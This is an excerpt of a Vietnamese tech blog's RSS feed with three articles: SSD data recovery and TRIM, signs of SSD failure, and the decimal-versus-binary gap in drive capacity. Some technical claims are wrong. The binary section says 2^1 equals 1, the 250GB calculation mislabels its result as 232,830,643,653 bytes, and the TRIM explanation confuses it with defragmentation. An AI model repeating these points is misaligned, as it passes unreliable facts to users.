<p>Mọi người thường gọi <a href="https://anonyviet.com/?s=ssd">SSD</a> là ổ cứng, thực chất nó là chip nhớ, nó làm việc như một chip nhớ (memory/flash). Vì thế, nếu nhìn nhận SSD từ góc độ của một chíp nhớ thì mọi vấn đề loằng ngoằng sẽ được giải thích một cách dễ dàng hơn.</p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2022/09/khoi-phuc-du-lieu-ssd.jpg" alt="khoi phuc du lieu ssd" width="670" height="404" title="Có thể khôi phục dữ liệu trên ổ cứng SSD không? 46"></p>
<h3><strong>SSD mặc định sẽ xóa triệt để:</strong></h3>
<p>Do SSD là một chip nhớ, nên nó phải được xóa trắng trước khi nó có thể ghi vào (khác với đĩa từ HDD). Thường thì lúc hệ thống <strong>xóa file</strong>, hệ thống chỉ <strong>đánh dấu không dùng nữa</strong> (mark as unused). Vì thế, lúc nào muốn ghi dữ liệu vào những chỗ đó, SSD bắt buộc phải xóa trước rồi mới ghi được. Việc này khiến<strong> quá trình ghi dữ liệu kéo dài gấp đôi. </strong></p>
<p>SSD nhanh thế thì cho dù kéo dài gấp đôi cũng không đáng bao nhiêu, có thể một vài bạn sẽ nghĩ vậy. Trong môi trường thực tế, SSD thực hiện cả ngàn lần ghi/đọc trong một phút thì cái gấp đôi đó được nhân lên ngàn lần, sẽ là một gánh nặng rất lớn, khiến hệ thống giảm hiệu năng một cách kinh ngạc.</p>
<p><strong>TRIM</strong> sinh ra để giải quyết vấn đề “hiệu năng” này. Trong lúc Hệ điều hành làm các việc khác, SSD đang rảnh rang, TRIM sẽ ra lệnh cho nó thong thả đi xóa trắng những chỗ đã được <strong>đánh dấu không dùng nữa, </strong>sẵn sàng cho lệnh ghi tiếp tới, đây là lệnh xóa triệt để được thực hiện bởi chính <strong>controller của SSD</strong>. <strong><em>Vì thế nếu dữ liệu bị xóa nhầm trên ổ SSD thì không thể khôi phục được cho dù là bởi những trung tâm khôi phục dữ liệu tiên tiến nhất.</em></strong></p>
<h3><strong>SSD có khả năng Chống phân mảnh</strong>:</h3>
<p>Do là chip nhớ, nên SSD ghi dữ liệu vào theo khối (block). Mình nói nôm na một khối có 5 đơn vị dữ liệu chẳng hạn. Nếu mà File dữ liệu cần ghi có 6 đơn vị dữ liệu, vậy phải dùng 2 khối (khối thứ nhất có 5 đơn vị và <strong>khối thứ hai </strong>lại chỉ có 1 đơn vị). Vậy là <strong>khối thứ 2</strong> còn 4 đơn vị để trống. Đáng buồn là lần ghi dữ liệu tới, SSD lại không tận dụng được 4 đơn vị để trống này mà phải ghi ra một khối mới (<em>vì nó ghi theo khối, đơn giản vậy thôi</em>).</p>
<p>Anh em có thể thấy, nếu là file dữ liệu luôn là 5, 10, 15, 20 đơn vị dữ liệu gì đó, thì mọi thứ sẽ rất đẹp, SSD sẽ ghi nó thành 1,2,3,4 khối dữ liệu, sẽ không có khối dữ liệu nào bị dư thừa vài chỗ trống. Đời không đẹp thế, việc đó vốn hiếm xảy ra trong thực tế. Vì thế, kiểu gì <strong>khối cuối cùng</strong> cũng bị trống vài đơn vị (lãng phí nho nhỏ). Với tốc độ khủng khiếp của SSD hiện nay, ghi đọc hàng ngàn file trong vài phút, số lượng khối cuối cùng này tăng nhanh một cách chóng mặt, đến đây thì lãng phí không còn nhỏ nữa mà bắt đầu rất lớn rồi</p>
<p>Để giải quyết vấn đề này, hệ thống có một phương án rất hay, trong lần ghi tiếp tới, OS sẽ đọc cái đơn vị dữ liệu lẻ loi ở <strong>khối thứ hai</strong> bên trên ra một bộ nhớ tạm (cache), ghép nó với 4 đơn vị dữ liệu khác cho thành 1 khối chuẩn rồi ghi ngược lại vào SSD, như thế không lãng phí tý nào, vừa đẹp. Nhưng vấn đề mới lại đặt ra, SSD phải thực hiện cả ngàn vụ như thế trong một phút (đọc dữ liệu ra, ghép khối, ghi ngược lại), nghe thôi đã thấy rầy rà, lãng phí thời gian một cách kinh khủng, mà trong thế giới công nghệ này, thời gian là tốc độ.</p>
<p>TRIM sinh ra để làm việc đó, nó vẫn làm mấy việc bên trên thôi, nhưng nó lặng lẽ làm lúc SSD rảnh rỗi, vì thế, nó không làm ảnh hưởng gì đến tốc độ của SSD.</p>
<h3><strong>Mình lấy một ví dụ thực tế như thế này:</strong></h3>
<p>trong lớp học cứ 5 người ngồi một bàn, nhưng nếu có 6 người thì bắt buộc phải dùng 2 bàn, <strong>ông thứ sáu</strong> sẽ ngồi bàn thứ hai, ông ấy ngồi <strong>ngay đầu bàn</strong>, mỗi lần có người muốn ngồi vào bàn thứ hai này, <strong>ông thứ 6</strong> này lại phải đi ra khỏi chỗ để cho người ta vào rồi mới ngồi được (<em>giống quá trình caching bên trên</em>). Lớp học thì chỉ cần khoảng 10 ông ngồi đầu bàn như <strong>ông thứ sáu</strong> này là chắn hết chỗ ngồi (<em>phân mảnh, lãng phí chỗ ngồi</em>).</p>
<p>Cô giáo chủ nhiệm TRIM sẽ giải quyết vấn đến này, TRIM sẽ gom các <strong>ông ngồi đầu bàn</strong> này thành một nhóm 5 người rồi nhét vào 1 bàn. Như thế, cô giáo chủ nhiệm TRIM giải quyết được 2 vấn đề: các bàn còn lại đều sẵn sàng để cho người mới vào ngồi, thứ hai là mọi người ngồi tập trung (không bị phân mảnh). Chính vì thế mọi người đều nói SSD không bao giờ bị phân mảnh.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có thể khôi phục dữ liệu đã xóa trên ổ cứng SSD không?</h3>
<p>Thường thì không.  Khi bạn xóa dữ liệu trên SSD, lệnh TRIM sẽ xóa dữ liệu đó một cách triệt để, ngay cả các phần mềm khôi phục dữ liệu tiên tiến cũng khó có thể phục hồi.</p>
<h3>TRIM hoạt động như thế nào và tại sao nó lại ảnh hưởng đến việc khôi phục dữ liệu?</h3>
<p>TRIM là một lệnh cho phép SSD xóa dữ liệu một cách hiệu quả, giúp tăng tốc độ ghi.  Tuy nhiên, quá trình này xóa dữ liệu vĩnh viễn, làm cho việc khôi phục trở nên bất khả thi.</p>
<h3>Ổ cứng SSD có bị phân mảnh không?</h3>
<p>Không, SSD không bị phân mảnh theo nghĩa truyền thống như ổ cứng HDD.  Cơ chế hoạt động của SSD và lệnh TRIM giúp tối ưu hóa việc ghi dữ liệu, tránh tình trạng phân mảnh gây giảm hiệu suất.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/co-the-khoi-phuc-du-lieu-tren-o-cung-ssd-khong/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>5 dấu hiệu cảnh báo SSD sắp bị hư</title>
		<link>https://anonyviet.com/5-dau-hieu-canh-bao-ssd-sap-bi-hu/</link>
					<comments>https://anonyviet.com/5-dau-hieu-canh-bao-ssd-sap-bi-hu/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Tue, 20 Sep 2022 00:51:19 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=36115</guid>

					<description><![CDATA[Ổ cứng thể rắn (SSD) nhanh hơn, ổn định hơn và tiêu thụ ít điện hơn so với ổ cứng truyền thống (HDD). Nhưng SSD không hoàn hảo và có thể hỏng trước tuổi thọ dự kiến ​​từ bảy đến mười năm. Tốt nhất là bạn nên chuẩn bị cho tình huống xấu nhất. Nếu [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Ổ cứng thể rắn (<a href="https://anonyviet.com/?s=t%C3%ACm+hi%E1%BB%83u+ssd">SSD</a>) nhanh hơn, ổn định hơn và tiêu thụ ít điện hơn so với ổ cứng truyền thống (HDD). Nhưng SSD không hoàn hảo và có thể hỏng trước tuổi thọ dự kiến ​​từ bảy đến mười năm.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/11/ssd-warning.jpg" alt="5 dấu hiệu cảnh báo SSD của bạn sắp hỏng" width="943" height="472" title="5 dấu hiệu cảnh báo SSD sắp bị hư 54"></p>
<p>Tốt nhất là bạn nên chuẩn bị cho tình huống xấu nhất. Nếu bạn biết cách nhận biết ổ SSD có bị lỗi hay không và cách bảo vệ mình, bạn sẽ không phải là nạn nhân của các sự cố liên quan đến SSD.</p>
<h2>Tại sao SSD lại bị lỗi?</h2>
<p>Không giống như trong ổ cứng HDD, không có đĩa chuyển động vật lý trong ổ SSD, vì vậy nó không bị các vấn đề về đĩa cứng cũ. Tuy nhiên, trong SSD còn có rất nhiều thành phần khác cũng dễ hỏng không kém.</p>
<p>SSD yêu cầu một tụ điện và bộ nguồn, rất dễ bị hư — đặc biệt là trong trường hợp mất điện đột ngột. Trên thực tế, trong trường hợp mất điện, ổ SSD cũng có khả năng làm hỏng dữ liệu hiện có, ngay cả khi bản thân ổ không bị lỗi hoàn toàn.</p>
<p>Một vấn đề khác có thể xảy ra với SSD là chúng có chu kỳ đọc/ghi hạn chế, một vấn đề tồn tại với tất cả các loại bộ nhớ flash.</p>
<p>Tuổi thọ SSD sẽ kéo dài trung bình nhiều năm, có thể lâu hơn nhiều so với mức bạn cần, vì vậy bạn không nên lo lắng về điều này. Trên thực tế, nếu bạn đã mua một ổ SSD trong vài năm trở lại đây, thì nghiên cứu đã chỉ ra rằng các ổ SSD mới ít bị các vấn đề đọc/ghi này hơn những ổ cũ.</p>
<p>Dù bằng cách nào, chu kỳ đọc/ghi vẫn sẽ ảnh hưởng đến việc bạn có thể ghi dữ liệu vào SSD của mình hay không. Vì bạn vẫn có thể đọc dữ liệu của mình nên tất cả dữ liệu đó đều có thể được truy xuất. Tuy nhiên, mình nghĩ là bạn vẫn muốn biết khi nào SSD gần hết tuổi thọ để có thể nâng cấp.</p>
<h2>Cách kiểm tra tình trạng của ổ SSD</h2>
<p>&nbsp;</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-crystal-disk-mark-640x428-2.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 33" width="320" height="214" title="5 dấu hiệu cảnh báo SSD sắp bị hư 55"></p>
<p>Ổ cứng hoạt động liên tục là một cách dễ dàng để biết liệu nó có bị lỗi hay không. Tuy nhiên, không giống như ổ cứng HDD, ổ SSD sẽ không phát ra tiếng ồn để báo cho bạn biết rằng có điều gì đó không ổn.</p>
<p>Cách dễ dàng và đáng tin cậy nhất để tìm hiểu xem ổ đĩa của bạn có chạy trơn tru hay không là cài đặt phần mềm kiểm tra và âm thầm theo dõi lỗi. Người dùng Windows có thể muốn dùng thử <a href="http://crystalmark.info/download/index-e.html" target="_blank" rel="noopener">CrystalDiskMark</a>, người dùng macOS có thể xem qua <a href="http://www.corecode.at/smartreporter_lite/index.html" target="_blank" rel="noopener">Smart Reporter Lite</a>, trong khi <a href="https://www.hdsentinel.com/download.php" target="_blank" rel="noopener">Hard Disk Sentinel</a> sẽ tốt hơn cho Linux.</p>
<p>Ngoài ra, đây là một số dấu hiệu cần chú ý, các triệu chứng của ổ đĩa xấu và những gì bạn có thể làm với nó.</p>
<h2>1. Các lỗi liên quan đến các khối không hợp lệ</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-bad-blocks-640x409-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 34" width="480" height="307" title="5 dấu hiệu cảnh báo SSD sắp bị hư 56"></p>
<p>Cũng giống như bad sector trên HDD, có những khối xấu trên SSD. Đây thường là một tình huống trong đó máy tính cố gắng đọc hoặc lưu một tệp, nhưng nó mất một thời gian dài bất thường và kết thúc không thành công, vì vậy hệ thống cuối cùng đưa ra một thông báo lỗi.</p>
<p>Các triệu chứng phổ biến của khối xấu là:</p>
<ol>
<li>Không thể đọc hoặc ghi tệp vào ổ cứng.</li>
<li>PC/hệ thống tệp của bạn cần được sửa chữa.</li>
<li>Các ứng dụng đang hoạt động thường bị treo.</li>
<li>Lỗi thường xuyên khi di chuyển tệp.</li>
<li>Nói chung chạy chậm, đặc biệt là khi truy cập các tệp lớn.</li>
</ol>
<p>Trong trường hợp bạn thấy bất kỳ triệu chứng nào trong số này, cách tốt nhất là chạy phần mềm giám sát ổ đĩa và kiểm tra xem có bất kỳ vấn đề vật lý nào với ổ đĩa của bạn hay không. Nếu có, hãy sao lưu các tệp của bạn ngay lập tức và bắt đầu mua một ổ SSD mới đi nhé :v.</p>
<h2>2. Không thể đọc hoặc ghi file</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-drive-cannot-read-written-640x320-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 35" width="480" height="240" title="5 dấu hiệu cảnh báo SSD sắp bị hư 57"></p>
<p>Có hai cách mà một khối xấu có thể ảnh hưởng đến tệp của bạn:</p>
<ol>
<li>Hệ thống phát hiện khối xấu trong khi ghi dữ liệu vào ổ đĩa và do đó từ chối ghi dữ liệu.</li>
<li>Hệ thống phát hiện khối xấu sau khi dữ liệu đã được ghi và do đó từ chối đọc dữ liệu đó.</li>
</ol>
<p>Trong trường hợp đầu tiên, dữ liệu của bạn chưa bao giờ được ghi, vì vậy nó không bị hỏng. Thông thường, hệ thống sẽ giải quyết nó một cách tự động. Trong trường hợp không xảy ra, bạn có thể khắc phục sự cố này bằng cách cố gắng lưu tệp ở một vị trí khác hoặc bằng cách sao chép tệp vào đám mây, khởi động lại máy tính của bạn, sau đó lưu lại vào ổ đĩa của bạn.</p>
<p>Rất tiếc, trong trường hợp thứ hai, dữ liệu của bạn không thể dễ dàng truy xuất được. Bạn có thể thử một số phương pháp để khôi phục dữ liệu từ ổ SSD bị lỗi, nhưng đừng hy vọng nhiều. Thường thì dữ liệu được ghi trên các khối xấu đều biến mất.</p>
<h2>3. Hệ thống tệp cần sửa chữa</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-Your-PC-Needs-To-Be-Repaired-BSOD-640x210-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 36" width="640" height="210" title="5 dấu hiệu cảnh báo SSD sắp bị hư 58"></p>
<p>Bạn đã bao giờ thấy một thông báo lỗi như thế này bật lên trên màn hình của bạn, trên Windows hoặc macOS chưa? Đôi khi điều này có thể xảy ra đơn giản vì không tắt máy tính của bạn đúng cách. Tuy nhiên, đó cũng có thể là dấu hiệu cho thấy SSD của bạn đang phát triển các khối lỗi hoặc có vấn đề ở cổng kết nối.</p>
<p>Rất may, việc giải quyết rất dễ dàng. Windows, macOS và Linux được tích hợp sẵn các công cụ sửa chữa hệ thống tệp bị hỏng. Khi gặp lỗi như vậy, mỗi hệ điều hành sẽ nhắc bạn chạy công cụ tương ứng của chúng, vì vậy hãy làm theo các bước và sửa chữa hệ thống tệp.</p>
<p>Có khả năng mất một số dữ liệu trong quá trình này và việc khôi phục dữ liệu có thể khó khăn. Đó là một lý do chính đáng khác để bạn sao lưu tất cả các tệp của bạn theo định kỳ.</p>
<h2>4. Sự cố thường xuyên trong quá trình khởi động</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-boot-error-640x270-1.png" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 37" width="640" height="270" title="5 dấu hiệu cảnh báo SSD sắp bị hư 59"></p>
<p>Nếu PC của bạn gặp sự cố trong quá trình khởi động nhưng hoạt động tốt sau khi nhấn nút reset một vài lần, thì có khả năng là do ổ đĩa của bạn. Đó có thể là một khối bị lỗi hoặc dấu hiệu của một ổ đĩa sắp chết, vì vậy tốt nhất bạn nên sao lưu dữ liệu của mình trước khi mất bất kỳ dữ liệu nào.</p>
<p>Để kiểm tra xem đó có phải là do ổ đĩa hay không, hãy tải xuống và chạy một trong các công cụ chẩn đoán đã nói ở trên. Nếu bạn đã sao lưu dữ liệu của mình, bạn cũng có thể thử định dạng ổ đĩa của mình và cài đặt lại hệ điều hành.</p>
<h2>5. Ổ cứng chuyển sang chế độ chỉ đọc</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/SSD-errors-signs-symptoms-destination-read-only-640x221-1.jpg" alt="5 dấu hiệu cảnh báo SSD sắp bị hư 38" width="640" height="221" title="5 dấu hiệu cảnh báo SSD sắp bị hư 60"></p>
<p>Nó không phải là phổ biến, nhưng một số người dùng đã gặp phải vấn đề này. SSD của bạn có thể từ chối cho phép bạn thực hiện bất kỳ hoạt động nào yêu cầu nó ghi dữ liệu vào ổ đĩa. Tuy nhiên, nó vẫn có thể hoạt động ở chế độ chỉ đọc. Đối với tất cả các mục đích sử dụng, ổ đĩa này dường như đã chết, nhưng dữ liệu của bạn vẫn có thể được phục hồi!</p>
<p>Trước khi vứt bỏ ổ SSD mà bạn cho rằng đã hỏng, hãy thử kết nối nó dưới dạng ổ cứng ngoài hoặc ổ cứng phụ với một máy tính khác. Đảm bảo rằng bạn không khởi động hệ điều hành từ SSD; bạn cần sử dụng ổ đĩa chính của máy tính cho việc đó.</p>
<p>Trong trường hợp SSD vẫn hoạt động ở chế độ chỉ đọc, bạn vẫn có thể truy xuất tất cả các tệp của mình trước khi xóa SSD một cách an toàn.</p>
<h2>Cách kéo dài tuổi thọ của ổ SSD</h2>
<p>Nếu SSD của bạn sắp hỏng hoặc nếu bạn đã sở hữu một ổ SSD trong hơn 5 năm, thì điều an toàn nhất bạn nên làm là bắt đầu mua một ổ SSD khác. Trong khi đó, bạn có thể làm một số điều để kéo dài tuổi thọ của SSD:</p>
<ol>
<li>Tránh nhiệt độ quá cao ảnh hưởng đến ổ đĩa. Đảm bảo làm mát tốt trong PC của bạn.</li>
<li>Tránh mất điện và mọi dao động điện.</li>
<li>Giải phóng thêm một số dung lượng trên SSD của bạn để nó có thể di chuyển dữ liệu từ các khối xấu.</li>
</ol>
<p>Ngoài ra, bạn cũng có thể xem qua ưu và nhược điểm của các loại ổ cứng khác <a href="https://anonyviet.com/kien-thuc-ve-o-cung-hdd-ssd-va-cach-lua-chon-hop-voi-muc-dich-su-dung/">tại đây</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>SSD có tuổi thọ bao lâu và có thể bị lỗi như thế nào?</h3>
<p>Tuổi thọ trung bình của SSD là từ 7 đến 10 năm.  Tuy nhiên, SSD có thể bị lỗi do nhiều nguyên nhân, bao gồm: sự cố về tụ điện và bộ nguồn (nhất là khi mất điện đột ngột),  chu kỳ đọc/ghi hạn chế của bộ nhớ flash, và các lỗi vật lý khác.</p>
<h3>Tôi nên làm gì nếu nghi ngờ SSD của mình đang gặp vấn đề?</h3>
<p>Hãy sử dụng phần mềm giám sát ổ đĩa như CrystalDiskMark (Windows), Smart Reporter Lite (macOS) hoặc Hard Disk Sentinel (Linux) để kiểm tra tình trạng sức khỏe của SSD.  Nếu phát hiện lỗi, hãy sao lưu dữ liệu ngay lập tức và chuẩn bị thay thế SSD.</p>
<h3>Có thể khôi phục dữ liệu từ SSD bị lỗi không?</h3>
<p>Tùy thuộc vào mức độ nghiêm trọng của lỗi.  Nếu lỗi chỉ là do hệ thống tệp bị hỏng, bạn có thể sửa chữa bằng các công cụ tích hợp sẵn của hệ điều hành.  Tuy nhiên, nếu dữ liệu nằm trên các khối xấu, việc khôi phục có thể khó khăn hoặc không thể thực hiện được.  Vì vậy, sao lưu dữ liệu thường xuyên là rất quan trọng.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/5-dau-hieu-canh-bao-ssd-sap-bi-hu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB</title>
		<link>https://anonyviet.com/tai-sao-o-cung-1tb-nhung-hien-thi-chi-co-931gb/</link>
					<comments>https://anonyviet.com/tai-sao-o-cung-1tb-nhung-hien-thi-chi-co-931gb/#respond</comments>
		
		<dc:creator><![CDATA[Dark Sniffer]]></dc:creator>
		<pubDate>Tue, 23 Nov 2021 02:51:29 +0000</pubDate>
				<category><![CDATA[Kiến thức]]></category>
		<category><![CDATA[dung lượng ổ cứng]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=36800</guid>

					<description><![CDATA[Đã bao nhiêu lần bạn mở hộp một chiếc máy tính, điện thoại hoặc ổ đĩa mới, chỉ để bị sốc khi nhận ra nó không còn nhiều dung lượng lưu trữ như thông tin trên hộp? SSD 512GB đó thực sự chỉ có thể sử dụng 477GB hoặc ổ cứng 1TB chỉ có thể [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Đã bao nhiêu lần bạn mở hộp một chiếc máy tính, điện thoại hoặc ổ đĩa mới, chỉ để bị sốc khi nhận ra nó không còn nhiều dung lượng lưu trữ như thông tin trên hộp? SSD 512GB đó thực sự chỉ có thể sử dụng 477GB hoặc ổ cứng 1TB chỉ có thể chỉ còn 931GB dung lượng.</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/11/real-hdd-size.jpg" alt="Tại sao ổ cứng 1TB nhưng chỉ có 931GB dung lượng thực tế" width="707" height="354" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 66"></p>
<p>Có một vài lý do chính giải thích tại sao điều này lại xảy ra. Hãy cùng xem tại sao dung lượng được quảng cáo trên ổ đĩa thường không giống với dung lượng thực.</p>
<h2>Hệ điều hành và các ứng dụng được cài đặt sẵn</h2>
<p>Lý do cơ bản nhất khiến dung lượng ổ đĩa thực tế thấp hơn bạn mong đợi là do ổ đĩa đã có sẵn một số dữ liệu khi bạn mua nó. Đây không phải là trường hợp của các ổ đĩa di động như ổ đĩa flash hoặc thẻ SD, nhưng là yếu tố chính đối với điện thoại và máy tính cài sẵn.</p>
<p>Khi bạn mua một chiếc máy tính, hệ điều hành (chẳng hạn như <a href="https://www.microsoft.com/en-us/windows" target="_blank" rel="noopener">Windows</a> hoặc macOS) chiếm một phần lớn dung lượng. Các tệp hệ điều hành này rất cần thiết để hệ thống chạy được, vì vậy bạn không nên đụng tới chúng.</p>
<p>Ví dụ: trên hệ thống của mình, thư mục C:\ Windows chiếm 25GB. Đó là khoảng một phần mười của toàn bộ dung lượng ổ đĩa có sẵn.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/Windows-Folder-Size-Background.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 43" width="600" height="361" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 67"></p>
<p>Tuy nhiên, không chỉ các tệp hệ điều hành mới chiếm dung lượng. Hầu hết các hệ điều hành bao gồm các ứng dụng bổ sung mà bạn cài đặt. Điều này bao gồm mọi thứ từ bloatware Windows 10 đến các ứng dụng tích hợp trên macOS như GarageBand.</p>
<p>Mặc dù về mặt kỹ thuật chúng không phải là một phần của hệ điều hành, nhưng chúng đi kèm với nó và do đó sẽ chiếm dung lượng. Bạn thường có thể xóa những thứ này để lấy lại không gian ổ cứng.</p>
<h2>Cách máy tính đo không gian ổ cứng</h2>
<p>Mặc dù các ứng dụng được cài đặt sẵn chắc chắn là thường rất quan trọng, nhưng lý do lớn nhất khiến bạn không nhận được toàn bộ dung lượng được quảng cáo là do máy tính đo lường các con số khác với con người.</p>
<h3>Giải thích số nhị phân</h3>
<div class="jeg_video_container jeg_video_content"><iframe loading="lazy" title="How to Read and Write Binary (In 5 Minutes)" width="500" height="281" src="https://www.youtube.com/embed/Ieq8AR8krrA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<p>Máy tính sử dụng các tiền tố giá trị tiêu chuẩn, bao gồm &#8220;kilo&#8221; cho nghìn, &#8220;mega&#8221; cho triệu, &#8220;giga&#8221; cho tỷ, &#8220;tera&#8221; cho nghìn tỷ,&#8230;</p>
<p>Mọi người, bao gồm cả các nhà sản xuất đĩa cứng, sử dụng hệ thống thập phân, hệ thống đo lường các số có cơ số là 10. Vì vậy, khi chúng ta nói &#8220;500 gigabyte&#8221;, chúng có nghĩa là 500 tỷ byte.</p>
<p>Tuy nhiên, máy tính sử dụng hệ nhị phân có cơ số 2, trong đó tất cả các số đều là 1 hoặc 0. Nếu bạn không quen, dưới đây là danh sách các số từ 1-10 được viết dưới dạng nhị phân:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">1
10
11
100
101
110
111
1000
1001
1010</pre>
<p>Như bạn có thể thấy, trong hệ nhị phân, 2^1 đại diện cho giá trị thập phân 1, 2^2 bằng 4, 2^3 bằng 8, 2^4 bằng 16,&#8230; Mỗi vị trí của chữ số mới trong hệ nhị phân làm tăng giá trị của số đó lên một lũy thừa của hai. 2^10, bằng 1,024.</p>
<h3>Đo lường nhị phân và thập phân</h3>
<p>Bây giờ chúng ta biết tại sao máy tính sử dụng 1,024 thay vì 1,000 để xác định các tiền tố phổ biến này. Đối với máy tính, một kilobyte là 1.024 byte, không phải 1.000 byte như đối với con người. Cũng giống với các giá trị khác, một megabyte là 1,024 kilobyte và một gigabyte là 1,024 megabyte.</p>
<p>Lấy một vài ví dụ cho dễ hiểu hơn nhé, giả sử bạn mua một ổ SSD 250 GB.  Ổ đĩa đó chứa 250.000.000.000 byte, nhưng máy tính không hiển thị theo cách đó.</p>
<p>Quay ngược lại, chúng ta có thể chia cho 1,024 ba lần (một lần để chuyển đổi byte thành kilobyte, một lần nữa để chuyển đổi kilobyte thành megabyte và lần cuối cùng để chuyển đổi megabyte thành gigabyte) để xem dung lượng này thực sự là bao nhiêu:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">250,000,000,000 / (1,024 * 1,024 * 1,024) = 232,830,643,653 bytes, or 232.83GB</pre>
<p>Kiểm tra ổ đĩa 250GB trong Windows cho thấy dung lượng tối đa của nó là 232GB, chính xác như chúng ta tính. Mất khoảng 18GB so với dung lượng được quảng cáo.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/Windows-Disk-Storage-Space.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 44" width="503" height="296" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 68"></p>
<p>Và đĩa càng lớn thì sự khác biệt giữa không gian đo được và không gian thực càng lớn. Ví dụ: ổ đĩa 1TB (1.000GB) có 931GB dung lượng.</p>
<h3>Gigabyte và Gibibyte</h3>
<div class="jeg_video_container jeg_video_content"><iframe loading="lazy" title="Decimal vs Binary for Measuring Storage as Fast as Possible" width="500" height="281" src="https://www.youtube.com/embed/i3_JnetivIQ?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<p>Vậy tại sao lại có sự chênh lệch như vậy. Tại sao các nhà sản xuất ổ cứng không cung cấp dung lượng thực khi quảng cáo? Về mặt kỹ thuật thì họ có làm.</p>
<p>Định nghĩa chính xác của &#8220;kilo&#8221; là lũy thừa 1.000 và của 1,024 là &#8220;kibi.&#8221; Ủy ban Kỹ thuật Điện Tử Quốc tế đã công bố các tiêu chuẩn đo lường dữ liệu ở dạng nhị phân để giải quyết sự nhầm lẫn này.</p>
<p>Trong khi một kilobyte (KB) đại diện cho 1.000 byte, một kibibyte (KiB) đại diện cho 1.024 byte. Nó giống nhau đối với mebibyte (MiB), gibibyte (GiB), tebibyte (TiB), v.v.</p>
<p>Vì một số lý do, Windows sử dụng tiền tố &#8220;GB&#8221; không chính xác nhưng nó đo dung lượng bằng gibibyte. Các hệ điều hành khác, như macOS, đo chính xác 1GB là một tỷ byte. Do đó, cùng một ổ 250GB được kết nối với máy Mac sẽ có tổng dung lượng 250GB.</p>
<h2>Phân vùng ổ đĩa bổ sung</h2>
<p>Ngoài những điều trên, một nguyên nhân tiềm ẩn khác làm giảm tổng dung lượng ổ đĩa là các phân vùng bổ sung.</p>
<p>Trong trường hợp bạn không biết, bạn có thể tách các ổ đĩa vật lý thành các phần logic khác nhau, được gọi là phân vùng. Phân vùng ổ cứng cho phép bạn cài đặt hai hệ điều hành khác nhau trên một ổ đĩa, như <a href="https://anonyviet.com/huong-dan-cai-song-song-ubuntu-voi-windows-10-moi-nhat/">dual boot giữa Windows và Linux.</a></p>
<p>Nhà sản xuất thường cài một phân vùng khôi phục trên ổ đĩa, nhằm cho phép bạn thiết lập lại hệ thống của mình trong trường hợp có sự cố nghiêm trọng. Giống như bất kỳ dữ liệu nào khác, các tệp này chiếm dung lượng trên ổ đĩa. Nhưng vì các phân vùng khôi phục thường bị ẩn khỏi chế độ xem tiêu chuẩn, nên bạn không thể thấy chúng.</p>
<p>Để xem các phân vùng này trên ổ đĩa của bạn trong Windows, hãy nhấp chuột phải vào Start menu hoặc nhấn Win + X và chọn Disk Management. Tại đây, bạn có thể thấy từng ổ đĩa trên hệ thống của mình và các phân vùng tạo nên nó. Nếu bạn phân vùng có tên <strong>Restore</strong>, <strong>Recovery </strong>hoặc tương tự, thì đó là phân vùng khôi phục của bạn.</p>
